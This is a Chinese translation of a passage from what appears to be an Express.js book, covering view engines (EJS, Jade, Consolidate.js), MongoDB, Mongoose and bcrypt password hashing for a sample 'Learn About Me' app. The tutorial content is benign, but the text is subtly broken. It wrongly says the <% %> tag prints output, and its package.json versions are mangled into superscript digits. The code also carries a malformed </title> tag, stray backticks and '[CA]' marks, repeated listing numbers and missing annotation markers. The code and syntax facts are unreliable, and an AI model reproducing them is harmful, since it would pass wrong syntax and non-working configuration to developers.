2.  接下来,我们决定是否启用视图缓存。"视图缓存"可能听起来像 Express 缓存整个视图渲染过程,但它并不这样做;它只缓存视图文件的查找并将其分配给适当的视图引擎。例如,它会缓存 views/my_view.ejs 的查找,并确定这个视图使用 EJS,但它不会缓存视图的实际渲染。有点误导!

它以两种方式决定是否启用视图缓存,其中只有一种是文档化的。

记录的方法:你可以在应用程序上设置一个选项。如果app.enabled("view cache")是布尔值,Express 将缓存视图的查找。默认情况下,在开发模式下禁用此功能,在生产模式下启用,但你可以通过app.enable("view cache")app.disable("view cache")来自定义更改。

未记录的方法:如果前一步生成的上下文对象有一个名为cache的布尔属性,则将为该视图启用缓存。这会覆盖任何应用程序设置。这使你能够按视图逐个缓存,但我认为更重要的是知道它的存在,这样你就可以避免无意中这样做!

3.  接下来,我们必须查找视图文件所在的位置以及要使用哪个视图引擎。在这种情况下,我们希望将“about”转换为/path/to/my/app/views/about.jade + Jade,将“contact.ejs”转换为/path/to/my/app/views/contact.ejs + EJS。404 处理程序应该通过查看我们之前对app.engine的调用,将404.html与 EJS 关联。如果我们之前已经执行过此查找并且启用了视图缓存,我们将从缓存中提取并跳到最后一步。如果没有,我们将继续执行。

4.  如果你没有提供文件扩展名(例如,“about”),Express 会附加你指定的默认值。在这种情况下,“about”变为“about.jade”,但“contact.ejs”和“404.html”保持不变。如果你没有提供扩展名且没有提供默认视图引擎,Express 将抛出错误。否则,它将继续执行。

5.  现在我们确实有一个文件扩展名,Express 将查看扩展名以确定要使用哪个引擎。如果它与任何你已指定的引擎匹配,它将使用那个。在这种情况下,它将匹配 Jade 对about.jade,因为它默认如此。contact.ejs将根据文件扩展名尝试require("ejs")。我们明确地将404.html分配给 EJS 的renderFile函数,所以它将使用那个。

6.  Express 在视图目录中查找文件。如果没有找到文件,它将抛出错误,但如果找到了,它将继续执行。

7.  如果启用了视图缓存,我们将为下一次调用缓存所有这些查找逻辑。

8.  最后,我们渲染视图!这会调用视图引擎,在 Express 的源代码中实际上只是一行。这就是视图引擎接管并生成实际 HTML(或你想要的任何内容)的地方。

这可能有点棘手,但 99%的情况是“我选择一个视图引擎并坚持下去”,所以你很可能被大多数这种复杂性所屏蔽。

渲染非 HTML 视图

Express 的默认内容类型是 HTML,所以如果你不做任何特殊处理,res.render 将渲染你的响应并将它们作为 HTML 发送到客户端。大多数时候,我发现这已经足够了。但不必非得这样!你可以渲染纯文本、XML、JSON 或任何你想要的内容。只需通过更改参数 res.type 来更改内容类型:

app.get("/", function(req, res) {   res.type("text");   res.render("myview", {     currentUser: "Gilligan"   }); });

经常有一些更好的方法来渲染这些事物——例如,应该使用 res.json 而不是渲染 JSON 的视图——但这个选项完全可用!

7.1.3  使所有视图引擎与 Express 兼容:Consolidate.js

我们已经讨论了一些视图引擎,如 EJS 和 Jade,但还有很多其他你可能想要选择的。你可能听说过 Mustache、Handlebars 或 Underscore.js 的模板。你也可能想要使用其他模板语言的 Node.js 版本,如 Jinja2 或 HAML。

许多这些视图引擎将与 Express “直接工作”,如 EJS 和 Jade。然而,其他一些没有 Express 兼容的 API,需要被包裹在 Express 可以理解的某些东西中。

进入 Consolidate.js(在 github.com/tj/consolidate.js),这是一个封装了大量视图引擎以与 Express 兼容的库。它支持经典如 EJS、Jade、Mustache、Handlebars 和 Hogan。它还支持许多其他引擎,以防你使用更不常见/另类视图引擎。你可以在项目的页面上查看支持的所有引擎列表。

例如,假设你正在使用 Walrus,这是一个与 Express 默认不兼容的 JavaScript 视图引擎。我们需要使用 Consolidate 来使其与 Express 兼容。

安装 Walrus 和 Consolidate(使用 npm install walrus consolidate)后,你将能够使用 Walrus 与 Express 一起使用!

列表 7.4 使用 Walrus 渲染

var express = require("express"); var engines = require("consolidate"); #A var path = require("path"); var app = express(); app.set("view engine", "wal"); #B app.engine("wal", engines.walrus); #C app.set("views", path.resolve(__dirname, "views")); #D app.get("/", function(req, res) {    res.render("index"); }); app.listen(3000);

A 首先,我们必须引入 Consolidate 库。为了可读性,我们将其放置在一个名为 "engines" 的变量中。

B 接下来,我们指定 .wal 文件作为我们的默认视图文件扩展名。

C 在这里,我们将 .wal 文件与 Walrus 视图引擎关联。

D 如同往常,我们指定我们的视图目录。

E 最后,我们渲染视图!这将渲染 views/index.wal。

我建议使用 Consolidate 而不是自己尝试处理不兼容的视图引擎。

7.2     关于 EJS 的所有你需要知道的内容

目前最简单且最受欢迎的视图引擎之一被称为 EJS,代表“嵌入式 JavaScript”。它可以对简单字符串、HTML、纯文本等进行模板化——你叫它什么,它就轻量级地与任何你使用的工具集成。它在浏览器和 Node.js 中工作。如果你曾经使用过 Ruby 世界中的 ERB,EJS 非常相似。无论如何,它非常简单!

目前有 EJS 的两个版本 实际上,有两个不同的群体维护着两个版本的 EJS。它们很相似,但并不完全相同。我们将使用的是由 Express 的创建者 TJ Holowaychuck 维护的版本。如果你在 npm 上寻找名为 "ejs" 的包,这就是你将找到的版本。但如果你访问 http://embeddedjs.com/,你会找到一个非常相似的库,它也声称有相同的名字。许多功能都是相同的,但它是一个在 2009 年最后更新的不同库。它不适用于 Node,甚至在它的文档中还有一些有争议的性别歧视性句子;请避免使用它!

7.2.1 EJS 的语法

EJS 可以用于 HTML 模板,但它可以用于任何东西。让我们看看一段简短的 EJS 代码,以及当你渲染它时它看起来像什么。

列表 7.5 一个 EJS 模板

Hi <%= name %>! You were born in <%= birthyear %>, so that means you're[CA] <%= (new Date()).getFullYear() - birthyear %> years old. <% if (career) { -%>   <%=: career | capitalize %> is a cool career! <% } else { -%>   Haven't started a career yet? That's cool. <% } -%>``Oh, let's read your bio: <%- bio %> See you later!

如果我们将以下上下文传递给 EJS...

列表 7.6 一个 EJS 上下文

{   name: "Tony Hawk",   birthyear: 1968,   career: "skateboarding",   bio: "<b>Tony Hawk</b> is the coolest skateboarder around."``}

然后,我们会得到以下结果(至少在 2015 年是这样的):

Hi Tony Hawk! You were born in 1968, so that means you're 47 years old. Skateboarding is a cool career!``Oh, let's read your bio: Tony Hawk is the coolest skateboarder around. See you later!

这个小例子展示了 EJS 的四个主要功能:评估、转义和打印的 JavaScript,评估但不打印的 JavaScript,评估并打印(但不转义 HTML)的 JavaScript,以及过滤器。

你可以通过两种方式打印 JavaScript 表达式的结果,正如我们所看到的。<% expression %> 打印表达式的结果,而 <%= expression %> 打印表达式的结果,并转义任何可能存在的 HTML 实体。一般来说,当你能使用时,我建议使用后者,因为它更安全。

你还可以运行任意 JavaScript 并防止它被打印。这对于像循环和条件语句这样的东西很有用,正如我们在上面的例子中所看到的。这是通过 <% expression %> 来实现的。正如你所看到的,你可以使用括号来在多行中分组循环和条件语句。你还可以使用 <% expression -%> 来避免添加额外的换行(注意结尾的连字符)。

最后,在输出后添加一个冒号(:)将允许应用过滤器。过滤器会过滤表达式的输出并改变输出。在上面的例子中,我们使用了大写字母过滤器,但还有很多其他的过滤器,你也可以定义自己的过滤器(正如我们马上就会看到的!)。

注意:如果您想尝试 EJS,我制作了一个“尝试 EJS”的简单浏览器应用(在 https://evanhahn.github.io/try-EJS/),可以在浏览器中玩 EJS。我承认它不够完善,但足以在浏览器中尝试 EJS 并查看渲染输出。

在您的 EJS 模板中包含其他 EJS 模板

EJS 还允许您包含其他 EJS 模板。这非常有用,原因有很多。您可以为页面添加页眉和页脚,分离常见的 widget,等等!如果您发现自己多次编写相同的代码,可能就是时候使用 EJS 的 include 功能了。

让我们看看两个例子。

首先,让我们想象您有一些共享相同页眉和页脚的页面。而不是一遍又一遍地重复所有内容,您可以创建一个页眉 EJS 文件,一个页脚 EJS 文件,然后是位于页眉和页脚之间的页面。

下面是一个页眉文件(保存为 header.ejs)可能的样子:

列表 7.7 标题 EJS 文件

<!DOCTYPE html> <html> <head>   <meta charset="utf-8">   <link rel="stylesheet" href="/the.css">   <title><%= appTitle %>/title> </head> <body>   <header>     <h1><%= appTitle %>``  </header>

然后,您会在 footer.ejs 中定义页脚:

列表 7.8 页脚 EJS 文件

<footer>   All content copyright <%= new Date().getFullYear() %> <%= appName %>. </footer> </body>``</html>

现在您已经定义了页眉和页脚,您可以在子页面上轻松地包含它们!

列表 7.9 从 EJS 包含页眉和页脚

<% include header %>   <h1>欢迎来到我的页面!</h1>   <p>这是一个相当酷的页面,我必须说。</p> <% include footer %>

我们使用 include 来,嗯,包含其他 EJS 文件。请注意,我们不使用 <%= ... %><%- ... %>;最终所有内容都是由 EJS 打印出来的,而不是你。

我们也可以想象自己使用它来构建小部件。例如,假设我们有一个显示用户资料的 widget。给定一个名为 user 的对象,这个模板会为该用户输出一些 HTML。以下是 userwidget.ejs 可能的样子:

列表 7.10 用户小部件在 userwidget.ejs 中

<div class="user-widget">   <img src="<%= user.profilePicture %>">   <div class="user-name"><%= user.name %></div>   <div class="user-bio"><%= user.bio %></div>``</div>

现在,我们可以在渲染当前用户时使用该模板...

列表 7.11 渲染当前用户的用户小部件

<% user = currentUser %> <% include userwidget %>

...或者当渲染用户列表时。

列表 7.12 多次渲染用户小部件

<% userList.forEach(function(user) { %>   <% include userwidget %>``<% } %>

EJS 的 include 功能非常灵活;它可以用来创建模板或多次渲染子视图。

添加您自己的过滤器

有 22 个内置过滤器,从数学运算到数组/字符串反转到排序。它们通常足以满足您的需求,但有时您可能需要添加自己的。

假设你已经将 EJS 引入到一个名为 ejs 的变量中,你只需向 ejs.filters 添加一个属性即可。如果我们经常计算数组之和,我们可能会发现创建自己的自定义“数组求和”过滤器很有用。

下面是我们可能添加此类过滤器的示例:

列表 7.13 添加 EJS 过滤器以计算数组之和

ejs.filters.sum = function(arr) {   var result = 0;   for (var i = 0; i < arr.length; i ++) {     result += arr[i];   }   return result;``};

现在,你可以像使用任何其他过滤器一样使用它了!

列表 7.14 使用我们新的 EJS 求和过滤器

<%=: myarray | sum %>

非常简单!你可以想象出很多过滤器——按需编写它们!

7.3 关于 Jade 你需要知道的一切

视图引擎如 Handlebars、Mustache 和 EJS 并不完全取代 HTML——它们通过一些新特性来增强它。如果你有设计师,例如,他们已经学会了 HTML 而不想学习一门全新的语言,这会非常不错。对于非 HTML 类的模板解决方案来说,这也很有用。如果你处于这种情况下,Jade 可能不是最佳选择。

但 Jade 也承诺了一些其他特性。它允许你编写更少的代码行,而且你写的代码行看起来更漂亮。文档类型很容易;标签通过缩进来嵌套,而不是通过闭合标签。它内置了多个 EJS 风格的特性,如条件和循环。学习起来更多,但功能更强大。

7.3.1 Jade 的语法

类似于 HTML 的语言是嵌套的。有一个根元素 (<html>),然后是各种子元素(如 <head><body>),每个子元素都有自己的子元素……以此类推。HTML 和 XML 选择为每个元素提供一个打开的 (<a>) 和一个关闭的 (</a>) 标签。

Jade 通过使用缩进和不同的 HTML 语法采取了不同的方法。以下是一个使用 Jade 的非常简单的网页示例:

列表 7.15 一个简单的 Jade 示例

doctype html html(lang="en")  #A   head     title Hello world!   body     h1 This is a Jade example     #container   #B``      p Wow.

A 将属性添加到元素看起来像函数调用。(如果你熟悉 Python 中的关键字方法调用,它们看起来非常像!)

B 没有指定元素,所以这是一个 div。

这将转换为以下 HTML:

列表 7.16 列表 7.15 渲染为 HTML

<!DOCTYPE html> <html lang="en">   <head>     <title>Hello world!</title>   </head>   <body>     <h1>This is a Jade example</h1>     <div id="container">       <p>Wow.</p>     </div>   </body>``</html>

你可以在项目的首页上尝试 Jade jade-lang.com/——尝试实验看看会发生什么!

7.3.2 Jade 中的布局

布局是任何模板语言的一个重要特性。它们允许你以某种形式包含其他 HTML。这允许你一次性定义你的页眉和页脚,然后在需要它们的地方包含它们。

一个非常常见的用例是为你的页面定义一个布局文件。这样,所有页面都可以有一个一致的页眉和页脚,同时允许内容按页面变化。

首先,我们定义 "master" 布局。这是每个页面都通用的 Jade,如页眉和页脚。这个主布局定义了空块,这些块将被使用此主布局的任何页面填充。让我们看看一个例子。

首先,让我们定义一个简单的布局文件。这个文件将由我们所有的页面共享。

列表 7.15 Jade 的简单布局文件

doctype html html     head      meta(charset="utf-8")      title Cute Animals website      link(rel="stylesheet" href="the.css")        block header  #A     body        h1 Cute Animals website       block body  #B

A 在父布局文件中,我们定义了一个 "header" 块和 "body" 块。这些将被扩展此布局的任何人使用。

注意我们如何定义了两个带有 block header 和 block body 的块。这些将被使用此布局的 Jade 文件填充。将此文件保存到 layout.jade。我们可以在使用此布局的 "真实" 页面中使用这些,如下所示:

列表 7.16 使用 Jade 布局文件

extends layout.jade block body``  p Welcome to my cute animals page!

这将渲染以下 HTML:

列表 7.17 使用 Jade 布局输出的结果

<!DOCTYPE html> <html>   <head>     <meta charset="utf-8">     <title>Cute Animals website</title>     <link rel="stylesheet" href="the.css">   </head>   <body>     <h1>Cute Animals website</h1>     <p>Welcome to my cute animals page!</p>   </body>``</html>

注意,当我们扩展布局时,我们只需在块中放入一些内容,它就会神奇地插入!也请注意,我们不需要使用块,即使它被定义了——我们从未触摸页眉块,因为我们不需要。

如果我们愿意,可以非常容易地定义另一个使用此布局的页面。

列表 7.18 再次使用 Jade 布局文件

extends layout.jade block body   p This is another page using the layout.   img(src="cute_dog.jpg" alt="A cute dog!")``  p Isn't that a cute dog!

布局让我们分离出常见的组件,这意味着我们不必一遍又一遍地重复相同的代码。

7.3.3 在 Jade 中的混合

Jade 有另一个酷炫的功能叫做混合。混合基本上是你定义在 Jade 文件中的函数,用于减少重复性任务。

让我们重新实现 EJS 部分的用户小部件示例。我们将创建一个接受一个名为 user 的对象的 widget,并返回该用户的 HTML widget。以下是我们可以这样做的方式:

列表 7.19 用户小部件混合

mixin user-widget(user)   .user-widget     img(src=user.profilePicture)     .user-name= user.name     .user-bio= user.bio   //- Render the user widget for the current user +user-widget(currentUser)   //- Render the user widget for a bunch of users - each user in userList``  +user-widget(user)

这将渲染 currentUser 的用户小部件以及 userList 中其他每个用户的用户小部件。我们不需要重复的代码!

这就是我们今天要讨论的 Jade。有关 Jade 语法更详细的内容,你可以查看 Jade 的参考文档,链接为 jade-lang.com/reference/.

7.4 概述

在本章中,我们学习了以下内容:

· Express 的视图系统。我们学习了如何将变量传递给视图以动态生成 HTML,以及我们学习了视图引擎是如何工作的。

· EJS 模板语言,用一点 JavaScript 动态生成 HTML。

· Jade 模板语言,用全新的语言重新构想 HTML 并动态生成它。

8  使用 MongoDB 持久化数据

我在这本书中有三个最喜欢的章节。

你已经通过了我最喜欢的第一部分:第三章,我们讨论了 Express 的基础。我喜欢那一章,因为目标是真正地解释 Express。在我看来,这是本书最重要的章节,因为它从概念上解释了框架。

第十章是我三个最喜欢的章节中的第二个。正如你将看到的,它讨论了安全性,我喜欢戴上黑客帽子尝试破解 Express 应用程序。这很有趣(顺便说一下,非常重要)。

这一章是我最喜欢的最后一章。为什么?因为在这章之后,你的应用程序将感觉真实。不再有微不足道的示例应用程序。不再有迅速消失的数据。你的 Express 应用程序将拥有用户账户、博客文章、好友请求、日历预约……所有这些都将得益于数据持久化。

几乎每个应用程序都有某种类型的数据,无论是博客文章、用户账户还是猫的照片。正如我们讨论的那样,Express 通常是一个无意见的框架。与这个无意见的座右铭相符,Express 并不规定你如何存储数据。那么我们应该如何处理这个问题呢?

你可以通过简单地设置变量来将应用程序的数据存储在内存中。例如,第三章的留言簿示例将留言簿条目存储在一个数组中。虽然这在非常简单的案例中很有用,但它有几个缺点。首先,如果你的服务器停止了(无论是你手动停止它还是它崩溃),你的数据就会丢失!如果你增长到数亿个数据点,你会耗尽内存。这种方法在多个服务器运行你的应用程序时也会遇到问题,因为数据可能在一个机器上,但在另一个机器上没有。

你可以尝试将应用程序的数据存储在文件中,通过写入文件或多个文件。毕竟,许多数据库就是这样在内部工作的。但这就需要你自己去思考如何结构和查询这些数据。你该如何保存数据?当你需要数据时,你该如何高效地从这些文件中获取数据?你可能会最终构建自己的数据库,这会是一个巨大的头疼问题。而且,这同样不会神奇地与多台服务器一起工作。

我们需要另一个计划。这就是为什么我们选择为这个目的设计的软件:数据库。我们选择的数据库是被称为 MongoDB 的东西。

在本章中,我们将学习以下内容:

·  MongoDB 的工作原理

·  如何使用 Mongoose,一个官方的 MongoDB 库

·  如何安全地创建用户账户

·  如何使用 Passport 进行身份验证

让我们现实一点。

8.1     为什么选择 MongoDB?

MongoDB(通常简称为 Mongo)是一个流行的数据库,它已经巧妙地进入了众多 Node 开发者的心中。它与 Express 的搭配受到如此喜爱,以至于产生了“MEAN”这个缩写,代表 MongoDB、Express、Angular(一个前端 JavaScript 框架)和 Node。在这本书中,我们将讨论除了那个缩写中的“A”以外的所有内容……即“MEN”栈。

到目前为止,你可能正在说:“现在有很多数据库可供选择,比如 SQL、Apache Cassandra 或 Couchbase。为什么选择 MongoDB?”这是一个好问题!

通常,Web 应用程序将它们的数据存储在两种类型的数据库中之一:关系型和非关系型。

通常,关系型数据库就像电子表格一样。它们的数据是有结构的,每个条目通常都是表格中的一行。它们有点像强类型语言,如 Java,其中每个条目都必须符合严格的要求(称为模式)。大多数关系型数据库都可以用 SQL(结构化查询语言)的某种变体来控制;你很可能听说过 MySQL、SQL Server 或 PostgreSQL。“关系型数据库”和“SQL 数据库”通常是可互换使用的术语。

相反,非关系型数据库通常被称为“NoSQL”数据库。(实际上,“NoSQL”仅仅意味着“不是 SQL 的任何东西”,但它往往指的是一类特定的数据库。)我喜欢想象“NoSQL”既是一种不同的技术,也是对现状的一种强烈抗议。也许“NoSQL”就像抗议者手臂上的纹身。无论如何,它与关系型数据库不同,因为它通常不像电子表格那样结构化。它们通常比 SQL 数据库要灵活一些。在这方面,它们非常类似于 JavaScript;JavaScript 通常也更灵活。总的来说,NoSQL 数据库“感觉”上比 SQL 数据库更像 JavaScript。

因此,我们选择了一个 NoSQL 数据库。我们将选择的 NoSQL 数据库叫做 MongoDB。但为什么选择它呢?

首先,MongoDB 很受欢迎。这本身并不是优点,但它有几个好处。你不会在网上找不到帮助。它也被很多人用在很多地方。Mongo 也是一个成熟的项目。它自 2007 年以来一直存在,并被 eBay、Craigslist 和 Orange 等公司所信任。你不会使用有缺陷的、不受支持的软件。

Mongo 之所以受欢迎,部分原因在于它成熟、功能丰富且可靠。它是用性能良好的 C++编写的,并且被大量用户所信任。

虽然 Mongo 不是用 JavaScript 编写的,但它的原生 shell 使用 JavaScript。这意味着当你打开 Mongo 在命令行中玩耍时,你用 JavaScript 发送命令给它。能够用你已经使用的语言“与”数据库“交谈”是非常方便的!

我还选择 Mongo 来写这一章,因为我认为它对于 JavaScript 开发者来说比 SQL 更容易学习。SQL 本身是一种强大的编程语言,但你已经知道 JavaScript 了!

我几乎不相信 Mongo 是所有 Express 应用程序的正确选择。关系型数据库非常重要,并且可以很好地与 Express 一起使用,其他 NoSQL 数据库如 CouchDB 也非常强大。但 Mongo 与 Express 生态系统很好地配合,并且相对容易学习(与 SQL 相比),这就是为什么我选择它来写这一章。

注意:如果你像我一样,你知道 SQL 并想为一些 Express 项目使用它。本章将讨论 Mongo,但如果你在寻找一个有用的 SQL 工具,请查看 Sequelize,网址为 http://sequelizejs.com/。它与许多 SQL 数据库接口,并具有许多有用的功能。

在本章中,我们将大量使用一个名为 Mongoose 的模块;在你阅读时作为参考,Mongoose 对于 MongoDB 就像 Sequelize 对于 SQL 一样。如果你想使用 SQL,请记住这一点!

8.1.1 Mongo 的工作原理

在我们开始之前,让我们谈谈 Mongo 是如何工作的。

大多数应用程序都有一个数据库,比如 MongoDB。这些数据库由服务器托管。一个 Mongo 服务器可以拥有许多数据库,但通常每个应用程序只有一个数据库。如果你只在你的电脑上开发一个应用程序,你很可能只有一个 Mongo 数据库。(这些数据库可以在多个服务器之间复制,但你可以将其视为一个数据库。)

要访问这些数据库,你将运行一个 MongoDB 服务器。客户端将与这些服务器通信,查看和操作数据库。大多数编程语言都有客户端库;这些库被称为驱动程序,并允许你使用你喜欢的编程语言与数据库通信。在这本书中,我们将使用 MongoDB 的 Node.js 驱动程序。

每个数据库都将有一个或多个集合。我喜欢将集合想象成高级数组。一个博客应用程序可能有一个用于博客文章的集合,或者一个社交网络可能有一个用于用户资料的集合。它们就像数组一样,只是巨大的列表,但你也可以比数组更容易地查询它们(例如,“给我这个集合中所有年龄大于 18 岁的用户”等)。

每个集合都将包含任意数量的文档。文档实际上并不是以 JSON 的形式存储的,但你可以这样想;它们基本上是具有各种属性的物体。文档是像用户和博客文章这样的东西;每件事物都有一个文档。文档不必具有相同的属性,即使它们在同一个集合中——理论上你可以有一个完全不同的对象的集合(尽管在实践中很少这样做)。

文档看起来很像 JSON,但技术上它们是被称为二进制 JSON,或 BSON 的东西。你几乎从不直接处理 BSON;相反,你将将其转换为 JavaScript 对象。BSON 编码和解码的具体细节与 JSON 略有不同。BSON 还支持 JSON 不支持的一些类型,如日期、时间戳和未定义的值。

这里有一个显示事物如何组合的图:

图 8.1 Mongo 数据库、集合和文档的层次结构

最后一个重要的一点:Mongo 为每个文档添加一个唯一的_id属性。因为这些 ID 是唯一的,如果两个文档具有相同的_id属性,则它们是相同的,并且你无法在同一个集合中存储具有相同 ID 的两个文档。这是一个杂项但重要的点,我们稍后会再次提到!

8.1.2 对于那些 SQL 用户来说...

如果你来自关系型/SQL 背景,Mongo 的许多结构都与 SQL 世界的结构一一对应。(如果你不熟悉 SQL,可以跳过这一部分!)

在 Mongo 中,文档对应于 SQL 中的行或记录。在一个用户应用程序中,每个用户在 Mongo 中对应一个文档或 SQL 中的一个行。与 SQL 不同,Mongo 在数据库层不强制执行任何模式,因此在 Mongo 中有一个没有姓氏或电子邮件地址是数字的用户是有效的。

在 Mongo 中,集合对应于 SQL 中的表。Mongo 的集合包含许多文档,而 SQL 的表包含许多行。再次强调,Mongo 的集合不强制执行模式,这与 SQL 不同。此外,这些文档可以嵌入其他文档,这与 SQL 不同——博客文章可以包含评论,这在 SQL 中可能对应两个表。在一个博客应用程序中,会有一个 Mongo 集合用于博客文章或一个 SQL 表。每个 Mongo 集合包含许多文档,而每个 SQL 表包含许多行或记录。

在 Mongo 中,数据库与 SQL 中的数据库非常相似。通常,每个应用程序有一个数据库。Mongo 数据库可以包含许多集合,而 SQL 数据库可以包含许多表。一个社交网络网站可能只有一个这些数据库,无论是 SQL、Mongo 还是其他类型的数据库。

要查看从 SQL 术语到 MongoDB 术语(包括查询)的完整“翻译”列表,请查看官方的 SQL 到 MongoDB 映射图表docs.mongodb.org/manual/reference/sql-comparison/index.html

8.1.3 设置 Mongo

你会想要在本地安装 Mongo,这样你就可以在开发时使用它。

如果你使用 OSX 并且不确定是否想使用命令行,我非常推崇 Mongo.app。你不需要处理命令行,只需启动一个运行在屏幕右上角菜单栏中的应用程序。你可以轻松地判断它是否正在运行,启动控制台,并轻松关闭它。你可以在mongoapp.com/下载它。

如果你使用 OSX 并希望使用命令行,可以使用 Homebrew 包管理器通过简单的brew install mongodb命令安装 MongoDB。如果你使用 MacPorts,sudo port install mongodb将完成工作。如果你不使用包管理器并且不想使用 Mongo.app,你可以从 MongoDB 下载页面www.mongodb.org/downloads下载它。

如果您使用的是 Ubuntu Linux,Mongo 的网站上有有用的说明docs.mongodb.org/manual/tutorial/install-mongodb-on-ubuntu/。如果您使用的是类似 Mint(或 Debian)的 Debian 发行版,请查看官方文档docs.mongodb.org/manual/tutorial/install-mongodb-on-debian/。其他 Linux 用户可以查看docs.mongodb.org/manual/tutorial/install-mongodb-on-linux/

如果您是 Windows 用户或上述未提及的任何操作系统用户,MongoDB 下载页面将帮助您。您可以从他们的网站下载,或者滚动到该页面的底部查看其他拥有 Mongo 的包管理器。查看www.mongodb.org/downloads。如果可能,请确保下载 64 位版本;32 位版本的存储空间有限。

在本书的整个过程中,我们将假设您的 MongoDB 数据库位于localhost:27017/test。端口 27017 是默认端口,默认数据库是名为"test"的数据库,但您的结果可能会有所不同。如果您无法连接到数据库,请检查您的特定安装以获取帮助。

8.2     使用 Mongoose 从 Node 与 MongoDB 通信

我们需要一个库,让我们能够从 Node 和 Express 与 MongoDB 通信。有许多底层模块,但我们希望使用起来简单且功能丰富。我们应该使用什么?

不必再寻找其他资源,Mongoose(在 http://mongoosejs.com/)是一个官方支持的从 Node.js 与 MongoDB 通信的库。正如其文档所述:

Mongoose 提供了一个基于模式的简单解决方案来建模您的应用程序数据,并包括内置的类型转换、验证、查询构建、业务逻辑钩子等,无需额外配置。

换句话说,Mongoose 为我们提供了与数据库通信之外的功能。让我们通过创建一个简单的带有用户账户的网站来了解它是如何工作的。

8.2.1  设置您的项目

为了学习本章的主题,我们将开发一个非常简单的社交网络应用程序。这个应用程序将允许用户注册新资料,编辑这些资料,并浏览彼此的资料。由于缺乏创意名称,我们将其称为"Learn About Me"。为了方便起见,我们将简称为"LAM"。

我们网站将包含几个页面:

·  主页将列出所有用户。点击列表中的用户将带您进入他们的个人资料页面。

·  个人资料页面将显示用户的显示名称(如果没有定义显示名称,则为用户名),他们加入网站的日期以及他们的个人简介。

·  用户将能够注册新账户,登录账户,并注销。

·  注册后,用户将能够编辑他们的显示名称和个人简介,但仅当他们登录时。

像往常一样,为这个项目创建一个新的目录。像往常一样,我们需要创建一个包含有关我们的项目和其依赖项的元数据的包文件。创建一个package.json文件,并将其放入其中:

列表 8.1 LAM 的 package.json

{   "name": "learn-about-me",   "private": true,   "scripts": {     "start": "node app"   },   "dependencies": {     "bcrypt-nodejs": "0.0.3",  #B     "body-parser": "¹.6.5",     "connect-flash": "⁰.1.1",     "cookie-parser": "¹.3.2",     "ejs": "¹.0.0",     "express": "⁴.8.5",     "express-session": "¹.7.6",     "mongoose": "³.8.15",     "passport": "⁰.2.0",     "passport-local": "¹.0.0"   }``}

B 有一个名为“bcrypt”的不同模块,它生成大量的 C 代码。它可能更快,但安装可能稍微困难一些。如果您需要速度,它是一个即插即用的替代品。

创建此文件后,运行npm install以安装我们的依赖项。随着我们继续本章的其余部分,我们将看到每个依赖项的作用,所以如果其中任何一个不清楚,请不要担心!像往常一样,我们已经设置好,npm start将启动我们的应用程序(我们将将其保存到app.js中)。

现在是时候开始将东西放入数据库了!

8.2.2 创建用户模型

正如我们之前讨论的,MongoDB 将所有内容存储在 BSON 中,这是一种二进制格式。一个简单的“hello world”BSON 文档可能看起来像这样:

\x16\x00\x00\x00\x02hello\x00\x06\x00\x00\x00world\x00\x00

计算机可以处理所有这些乱七八糟的东西,但对于我们这样的人来说很难阅读。我们想要一些更适合我们的东西,这就是为什么开发者创建了数据库模型的概念。模型是数据库记录在您选择的编程语言中的良好对象的表示。在这种情况下,我们的模型将是 JavaScript 对象。

模型可以作为存储数据库值的简单对象,但它们通常具有数据验证、额外方法和更多功能。正如我们将看到的,Mongoose 有很多这样的功能。

在这个例子中,我们将构建一个用户模型。在我们开始之前,我们应该考虑 User 对象应该具有哪些属性:

·  用户名,一个唯一的名称。这将需要。

·  密码。这也会被要求。

·  加入时间,记录用户加入网站的时间。

·  显示名称,代替用户名显示的名称。这将可选。

·  个人简介,用户个人资料页面上显示的一组可选文本。

要在 Mongoose 中指定这一点,我们必须定义一个模式,它包含有关属性、方法和更多信息。 (我个人认为“模式”这个词不正确;它更像是一个类或原型。) 将上面的英文翻译成 Mongoose 代码相当简单。

在您项目的根目录下创建一个名为models的文件夹,并在该文件夹内创建一个名为user.js的新文件。首先,将以下内容放入其中:

列表 8.2 定义用户模式(在 models/user.js 中)

var mongoose = require("mongoose"); var userSchema = mongoose.Schema({   username: { type: String, required: true, unique: true },   password: { type: String, required: true },   createdAt: { type: Date, default: Date.now },   displayName: String,   bio: String``});

在我们引入 Mongoose 之后,定义字段就相当直接了。正如你所看到的,我们将用户名定义为username,密码定义为password,加入时间为createdAt,显示名为displayName,个人简介为bio。注意,一些字段是必需的,一些是唯一的,一些有默认值,而其他只是声明了它们的类型。

一旦我们创建了具有属性的架构,我们就可以向其添加一些方法。我们将添加的第一个方法是简单的:获取用户的名字。如果用户定义了显示名,则返回该显示名;否则,返回他们的用户名。以下是添加该方法的步骤:

列表 8.3 向用户模型添加简单方法(在 models/user.js 中)

userSchema.methods.name = function() {   return this.displayName || this.username;``};

我们还想要确保我们安全地存储密码。我们可以在数据库中以纯文本形式存储密码,但这存在许多安全问题。如果有人黑入我们的数据库怎么办?他们会得到所有的密码!我们还想成为负责任的管理员,不能看到用户密码的明文。为了确保我们永远不会存储“真实”的密码,我们将使用 Bcrypt 算法对其进行单向哈希。

首先,要开始使用 Bcrypt,请将require语句添加到文件顶部。Bcrypt 通过多次运行算法的一部分来生成一个安全的哈希值,但这个次数是可以配置的。数字越高,哈希值越安全,但所需时间也越长。我们现在使用 10 这个值,但我们可以增加这个数字以获得更高的安全性(但,再次强调,速度会变慢):

列表 8.4 引入 Bcrypt(在 models/user.js 中)

var bcrypt = require("bcrypt-nodejs"); var SALT_FACTOR = 10;

接下来,在你定义了架构之后,我们将定义一个预保存操作。在我们将模型保存到数据库之前,我们将运行一些代码来哈希密码。以下是它的样子:

列表 8.5 我们预保存操作以哈希密码(在 models/user.js 中)

var noop = function() {}; #1 userSchema.pre("save", function(done) {   var user = this;   if (!user.isModified("password")) {     return done();   }   bcrypt.genSalt(SALT_FACTOR, function(err, salt) {     if (err) { return done(err); }     bcrypt.hash(user.password, salt, noop,     [CA]function(err, hashedPassword) {       if (err) { return done(err); }       user.password = hashedPassword;       done();     });   }); });

1 我们需要一个什么也不做的函数来与 bcrypt 模块一起使用。

2 我们将定义一个在模型保存之前运行的函数。

3 因为我们将使用内部函数,所以我们将保存对用户的引用。

4 如果用户没有修改他们的密码,则跳过此逻辑。

5 我们将为散列生成一个盐,并在完成后调用内部函数。

6 接下来,我们将使用生成的盐散列用户的密码。

7 存储密码并继续保存操作!

现在,我们再也不需要调用任何复杂的逻辑来对数据库中的密码进行散列——每次我们将模型保存到 Mongo 时,它都会自动发生。

